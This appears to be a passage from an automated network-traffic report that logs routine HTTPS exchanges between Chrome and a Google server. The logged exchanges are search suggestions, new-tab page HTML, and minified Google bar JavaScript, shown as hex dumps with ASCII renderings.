2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 64 20 6a 61 73 6f 6e 22 2c 22 70 65 70 65 20 63 6f 69 6e 20 6e 65 77 73 22 2c 22 63 6f 6c 6f 72 61 64 6f 20 73 6e 6f 77 20 66 6f 72 65 63 61 73 74 22 2c 22 62 61 6c 74 69 6d 6f 72 65 20 72 61 76 65 6e 73 22 2c 22 74 69 6b 74 6f 6b 20 62 61 6e 6e 65 64 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b 7b 22 7a 6c Data Ascii: d jason","pepe coin news","colorado snow forecast","baltimore ravens","tiktok banned"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 30 4e 6c 4e 32 55 7a 46 77 59 7a 5a 56 4f 54 52 69 56 56 4e 4d 53 6b 78 48 4e 46 52 6d 64 54 68 4a 4d 33 42 71 4d 30 4e 42 4c 33 42 51 62 57 46 5a 56 32 5a 55 5a 45 70 7a 4d 6c 5a 4d 64 56 4d 30 64 56 6c 71 54 47 46 4a 61 30 56 6c 4d 44 63 35 62 30 68 4a 55 44 56 32 65 6d 63 34 53 44 63 78 62 7a 5a 6c 4e 6d 56 70 61 54 42 44 53 46 56 48 65 44 68 6b 4d 43 74 50 63 32 68 49 61 57 6f 76 4f 45 46 50 4d 7a 41 34 61 6d 31 71 64 48 5a 77 65 6e 67 79 4d 57 38 31 62 46 5a 61 4e 54 4e 52 55 30 35 68 4d 6a 5a 6b 63 31 6c 35 52 7a 68 6f 64 45 64 4e 5a 7a 6c 31 53 31 4a 6e 52 44 42 73 61 32 55 79 52 45 4a 51 56 6b 64 73 65 6a 59 35 54 47 4a 33 64 33 4e 78 57 44 42 43 61 32 6c 72 57 6a 4a 49 61 6c 56 46 4e 45 6f 79 4f 45 52 51 61 56 42 30 61 30 45 34 4e 45 5a 68 5a 57 Data Ascii: 0NlN2UzFwYzZVOTRiVVNMSkxHNFRmdThJM3BqM0NBL3BQbWFZV2ZUZEpzMlZMdVM0dVlqTGFJa0VlMDc5b0hJUDV2emc4SDcxbzZlNmVpaTBDSFVHeDhkMCtPc2hIaWovOEFPMzA4am1qdHZwengyMW81bFZaNTNRU05hMjZkc1l5RzhodEdNZzl1S1JnRDBsa2UyREJQVkdsejY5TGJ3d3NxWDBCa2lrWjJIalVFNEoyOERQaVB0a0E4NEZhZW
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 6c 46 54 57 45 5a 74 4f 54 46 4e 4e 6a 64 70 53 47 70 45 55 30 31 58 4e 53 74 73 5a 43 74 77 59 56 70 61 4d 79 74 75 55 7a 49 77 61 30 4e 34 65 48 70 4a 55 6d 74 53 61 46 64 59 4d 79 74 6b 54 6c 4d 77 59 54 42 74 54 7a 4e 6e 64 32 35 56 61 32 6c 54 4b 7a 41 78 64 54 56 32 54 48 52 4a 55 6a 52 47 54 45 46 46 4e 58 6c 6c 65 46 41 33 56 57 74 68 4e 32 56 55 4d 7a 6b 33 54 54 6c 36 53 56 68 4c 63 30 5a 59 53 58 68 6f 59 32 35 42 62 7a 6c 5a 56 48 4a 5a 4e 6e 42 31 61 7a 4e 4f 52 33 56 52 55 32 38 33 61 32 4e 42 4d 48 59 7a 62 48 4d 32 63 6b 30 33 4e 44 56 42 53 58 64 6d 5a 69 39 6b 56 56 4a 44 64 47 4a 42 65 47 49 35 61 55 38 31 57 6b 31 74 51 58 4e 6c 54 47 46 6c 4b 32 4e 56 4d 6d 46 47 61 55 78 77 63 53 74 6a 4f 54 55 33 64 45 6c 32 62 6e 52 59 5a 43 73 35 Data Ascii: lFTWEZtOTFNNjdpSGpEU01XNStsZCtwYVpaMytuUzIwa0N4eHpJUmtSaFdYMytkTlMwYTBtTzNnd25Va2lTKzAxdTV2THRJUjRGTEFFNXlleFA3VWthN2VUMzk3TTl6SVhLc0ZYSXhoY25BbzlZVHJZNnB1azNOR3VRU283a2NBMHYzbHM2ck03NDVBSXdmZi9kVVJDdGJBeGI5aU81Wk1tQXNlTGFlK2NVMmFGaUxwcStjOTU3dEl2bnRYZCs5
2024-12-09 19:27:27 UTC	1175	IN	Data Raw: 52 55 64 6e 62 58 64 58 62 47 74 69 4c 30 46 42 57 46 51 76 57 53 39 36 56 57 64 57 4b 30 5a 53 4e 47 34 77 63 47 68 35 56 6d 30 35 64 48 67 35 63 55 70 74 59 57 35 54 53 6d 70 48 62 6e 70 48 52 6e 52 4c 51 56 4e 57 51 7a 5a 52 62 33 42 6a 54 6e 4a 70 4f 58 4a 71 51 32 38 32 52 6c 64 56 54 7a 68 78 61 48 56 43 4d 45 6b 35 59 58 4e 33 65 45 4a 33 52 6b 39 4c 5a 31 70 5a 4f 47 46 73 63 57 52 69 57 6e 49 34 57 6b 74 56 53 33 51 34 57 6e 4d 7a 51 54 6c 6c 57 53 39 50 54 6d 46 68 64 33 59 33 57 44 4e 73 53 57 78 56 5a 46 68 43 64 6a 52 4f 56 55 4a 76 62 69 39 54 5a 6b 74 30 5a 33 42 30 55 6d 6c 57 54 30 39 49 4e 46 52 76 59 31 49 79 4e 56 6c 78 5a 33 56 4a 4e 54 45 7a 62 33 70 59 53 46 4a 72 54 30 52 56 64 6b 59 35 55 58 42 5a 53 30 74 6e 56 6e 68 78 59 54 6c Data Ascii: RUdnbXdXbGtiL0FBWFQvWS96VWdWK0ZSNG4wcGh5Vm05dHg5cUptYW5TSmpHbnpHRnRLQVNWQzZRb3BjTnJpOXJqQ282RldVTzhxaHVCMEk5YXN3eEJ3Rk9LZ1pZOGFscWRiWnI4WktVS3Q4WnMzQTllWS9PTmFhd3Y3WDNsSWxVZFhCdjROVUJvbi9TZkt0Z3B0UmlWT09INFRvY1IyNVlxZ3VJNTEzb3pYSFJrT0RVdkY5UXBZS0tnVnhxYTl
2024-12-09 19:27:27 UTC	92	IN	Data Raw: 35 36 0d 0a 45 4e 30 55 6a 6c 30 62 48 46 56 62 47 49 35 53 33 6b 34 4e 6e 4e 6a 55 30 6c 54 61 30 63 76 56 55 73 78 52 7a 4a 51 54 30 51 33 55 58 41 78 65 43 74 6d 4c 30 74 5a 4f 57 6c 51 4e 58 46 72 63 6d 6b 78 4b 33 46 33 4d 30 56 52 57 54 64 4d 54 57 51 77 59 56 68 0d 0a Data Ascii: 56EN0Ujl0bHFVbGI5S3k4NnNjU0lTa0cvVUsxRzJQT0Q3UXAxeCtmL0tZOWlQNXFrcmkxK3F3M0VRWTdMTWQwYVh
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 37 39 66 0d 0a 56 64 56 4e 49 57 6b 52 68 4d 44 68 33 52 58 4a 4a 4d 43 74 78 55 30 78 49 5a 6b 64 6f 52 47 56 54 4d 30 31 6c 4b 32 74 58 61 44 56 72 52 46 42 36 63 57 78 76 62 46 4a 7a 52 6e 52 68 54 6b 31 32 55 6a 56 4e 56 32 70 34 62 55 70 77 64 54 68 6f 54 6d 78 49 52 45 5a 73 52 7a 68 57 64 58 46 51 65 45 67 77 51 6a 52 44 62 31 4e 7a 52 32 4e 72 56 6b 4a 78 52 32 4e 68 53 46 52 77 53 7a 51 34 65 57 45 79 4d 44 52 6e 4e 32 68 68 5a 31 41 34 51 58 42 33 51 7a 64 57 62 55 6c 53 56 32 4a 43 65 47 39 77 53 58 6f 30 51 33 55 35 51 32 4e 61 53 6b 67 33 4d 56 68 57 56 45 34 34 59 56 70 55 4d 31 56 61 5a 57 31 4f 54 47 31 45 4e 57 4a 72 52 55 51 78 64 47 55 7a 54 45 4e 4f 4c 33 52 45 62 32 39 34 5a 30 31 77 53 6b 68 47 59 32 46 6b 5a 55 30 32 56 6d 52 47 59 Data Ascii: 79fVdVNIWkRhMDh3RXJJMCtxU0xIZkdoRGVTM01lK2tXaDVrRFB6cWxvbFJzRnRhTk12UjVNV2p4bUpwdThoTmxIREZsRzhWdXFQeEgwQjRDb1NzR2NrVkJxR2NhSFRwSzQ4eWEyMDRnN2hhZ1A4QXB3QzdWbUlSV2JCeG9wSXo0Q3U5Q2NaSkg3MVhWVE44YVpUM1VaZW1OTG1ENWJrRUQxdGUzTENOL3REb294Z01wSkhGY2FkZU02VmRGY
2024-12-09 19:27:27 UTC	568	IN	Data Raw: 64 57 56 68 62 30 68 56 55 48 45 77 5a 32 64 45 61 30 34 34 52 58 51 33 59 6c 68 55 65 45 4a 5a 64 6a 64 31 4f 45 4e 58 51 54 4e 53 61 6c 42 4d 53 6e 6c 6c 57 6e 4a 75 55 6e 4e 70 64 47 78 30 54 57 4e 50 54 6d 46 69 54 43 39 6a 63 6a 6c 6a 5a 57 6c 79 55 48 42 75 51 6c 4a 54 64 31 56 56 63 30 5a 47 54 45 4a 53 55 33 64 56 56 58 4e 47 52 6c 42 53 55 44 4e 4c 55 46 68 43 55 6c 67 76 4f 57 73 39 4f 68 42 43 59 57 78 30 61 57 31 76 63 6d 55 67 55 6d 46 32 5a 57 35 7a 53 67 63 6a 4f 54 41 33 4d 7a 41 78 55 6a 70 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 52 46 41 78 56 47 4e 33 56 45 4d 30 65 45 30 79 52 44 42 46 61 32 68 4c 65 6b 4e 75 53 6e 70 4e 4d 48 5a 54 62 46 56 76 55 32 6c 34 54 48 70 54 63 30 64 42 53 47 70 44 51 31 56 56 63 41 63 5c 75 30 30 Data Ascii: dWVhb0hVUHEwZ2dEa044RXQ3YlhUeEJZdjd1OENXQTNSalBMSnllWnJuUnNpdGx0TWNPTmFiTC9jcjljZWlyUHBuQlJTd1VVc0ZGTEJSU3dVVXNGRlBSUDNLUFhCUlgvOWs9OhBCYWx0aW1vcmUgUmF2ZW5zSgcjOTA3MzAxUjpnc19zc3A9ZUp6ajR0RFAxVGN3VEM0eE0yRDBFa2hLekNuSnpNMHZTbFVvU2l4THpTc0dBSGpDQ1VVcAc\u00
2024-12-09 19:27:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	142.250.181.68	443	7920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:27:26 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 19:27:27 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 09 Dec 2024 19:27:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-09 19:27:27 UTC	372	IN	Data Raw: 31 65 38 37 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e87)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 36 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700276,3700949,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-09 19:27:27 UTC	501	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor
2024-12-09 19:27:27 UTC	377	IN	Data Raw: 31 37 32 0d 0a 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5f 2e 4a 64 3f 5f 2e 4a 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 53 64 2c 66 65 2c 52 64 2c 54 64 2c 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 Data Ascii: 172^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Od\u003dnew _.Nd(_.Jd?_.Jd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Sd,fe,Rd,Td,Yd;_.Pd\u003dfunction(a){return a\u003d\u003dnu
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 Data Ascii: 8000tring\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\"ogb-qtm#html\",{createHTML:b,cr
2024-12-09 19:27:27 UTC	1390	IN	Data Raw: 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 52 64 5c 75 30 30 33 64 5f 2e 4a 64 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 59 64 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: ;_.ge\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Rd\u003d_.Jd;_.Vd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};Yd\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(a)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49747	142.250.181.68	443	7920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:27:26 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
